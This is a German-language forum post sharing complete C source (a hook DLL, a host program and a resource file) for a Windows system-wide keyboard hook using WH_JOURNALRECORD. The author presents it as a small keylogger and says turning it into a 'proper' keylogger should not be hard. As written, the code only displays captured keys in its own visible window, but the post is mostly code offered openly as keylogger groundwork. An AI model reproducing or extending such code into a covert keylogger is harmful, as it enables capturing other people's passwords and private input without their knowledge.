title image


Smiley ...und hier für windows!
hi :))hab dir ein kleines programm gebastelt, dass alle tastatur messages abfängt. dies zu einem "gescheiten" keylogger umzubauen sollte nicht allzu schwer sein *g*. um alle tastatur messages (oder auch viele andere) abzufangen wird ein kleiner system hook installiert (verpackt in ner kleinen dll).hier ist der quelltext der dll:#define WIN32_LEAN_AND_MEAN#include "windows.h"int FAR PASCAL LibMain(HINSTANCE hi);LRESULT CALLBACK SysHookProc(int nState,WPARAM wp,LPARAM lp);//--> public functionsint __export CALLBACK InitHookDll(HWND hMainWnd);int __export CALLBACK InstallHook(int nState);//HINSTANCE hInstance;BOOL Initialized=0;HHOOK hHook=0;char dllstring[32];HWND hwndMain=0;int FAR PASCAL LibMain(HINSTANCE hi){ hInstance=hi; return 1;}int CALLBACK InitHookDll(HWND hMainWnd){ hwndMain=hMainWnd; Initialized=1; return 0;}int CALLBACK InstallHook(int nState){ if(!Initialized)return -1; if(nState)hHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)(FARPROC)SysHookProc,hInstance,0); else UnhookWindowsHookEx(hHook); return 1;}LRESULT CALLBACK SysHookProc(int nState,WPARAM wp,LPARAM lp){ HDC hdc; char szBuffer[256]; int msg; msg=((LPEVENTMSG)lp)->message; if(nState>=0 && LoadString(hInstance,msg,szBuffer,255)!=0){ wsprintf((LPSTR)dllstring,"Zeichen: %c\tMessage:\t%s ",((LPEVENTMSG)lp)->paramL,szBuffer); hdc=GetDC(hwndMain); TabbedTextOut(hdc,1,50,(LPSTR)dllstring,strlen(dllstring),0,0,1); ReleaseDC(hwndMain,hdc); return 0; } return CallNextHookEx(hHook,nState,wp,lp);}so, und nun zum eigentliche projekt (bestehend aus einem .rc, einem .cpp und dem .lib file, das du erhälst, wenn du das progg von oben kompiliert hast). zuerst das .cpp file:#define WIN32_LEAN_AND_MEAN#include "windows.h"//--> public DLL-functionsint FAR PASCAL InitHookDll(HWND hMainWnd);int FAR PASCAL InstallHook(int nState);//int PASCAL WinMain(HINSTANCE hInst,HINSTANCE,LPSTR,int n);LONG FAR PASCAL HookWndProc(HWND hwnd,UINT msg,WPARAM wp,LPARAM lp);HINSTANCE hInstance;HWND hwndMain;LONG FAR PASCAL HookWndProc(HWND hwnd,UINT msg,WPARAM wp,LPARAM lp){ HMENU hMenu; static int State=0; switch(msg){ case WM_COMMAND: switch(LOWORD(wp)){ case 204: hMenu=GetMenu(hwnd); State^=1; CheckMenuItem(hMenu,204,MF_BYCOMMAND|(State)?MF_CHECKED:MF_UNCHECKED); InstallHook(State); break; } break; case WM_DESTROY: if(State)InstallHook(0); PostQuitMessage(0); break; } return(DefWindowProc(hwnd,msg,wp,lp));}int PASCAL WinMain(HINSTANCE hInst,HINSTANCE,LPSTR,int n){ MSG msg; WNDCLASS wc={0,HookWndProc,0,0,hInst,0,LoadCursor(0,IDC_ARROW),(HBRUSH)COLOR_WINDOW,"HookMenu","hookclass"}; hInstance = hInst; RegisterClass(&wc); hwndMain=CreateWindow("hookclass","locker vom hocker mit nem keylogger ;-)", WS_OVERLAPPEDWINDOW,0,0,CW_USEDEFAULT,0,0,0,hInst,0); ShowWindow(hwndMain,n); InitHookDll(hwndMain); while(GetMessage(&msg,0,0,0)){ TranslateMessage(&msg); DispatchMessage(&msg); } return msg.wParam;}sorry... ist etwas viel code... :(aber egal, hier noch das .rc file:#include "windows.h"HookMenu MENUBEGIN POPUP "&Keylogger" BEGIN MENUITEM "aktiviert\tWH_JOURNALRECORD", 204 ENDENDSTRINGTABLE { WM_KEYDOWN, "WM_KEYDOWN" WM_KEYUP, "WM_KEYUP" WM_CHAR, "WM_CHAR" WM_DEADCHAR, "WM_DEADCHAR" WM_SYSKEYDOWN, "WM_SYSKEYDOWN" WM_SYSKEYUP, "WM_SYSKEYUP" WM_SYSCHAR, "WM_SYSCHAR" WM_SYSDEADCHAR, "WM_SYSDEADCHAR" WM_KEYLAST, "WM_KEYLAST"}so... das wars :)hoffentlich nützt dieser code irgendjemandem, sonst war die mühe umsonstdieser code ist natürlich nicht perfekt (naja... fast ;-p), aber um die funktionsweise eines hooks und damit den keylogger zu demonstrieren reicht es hoffentlich ausmfgkwoTx

geschrieben von

Login

E-Mail:
  

Passwort:
  

Beitrag anfügen

Symbol:
 
 
 
 
 
 
 
 
 
 
 
 
 

Überschrift: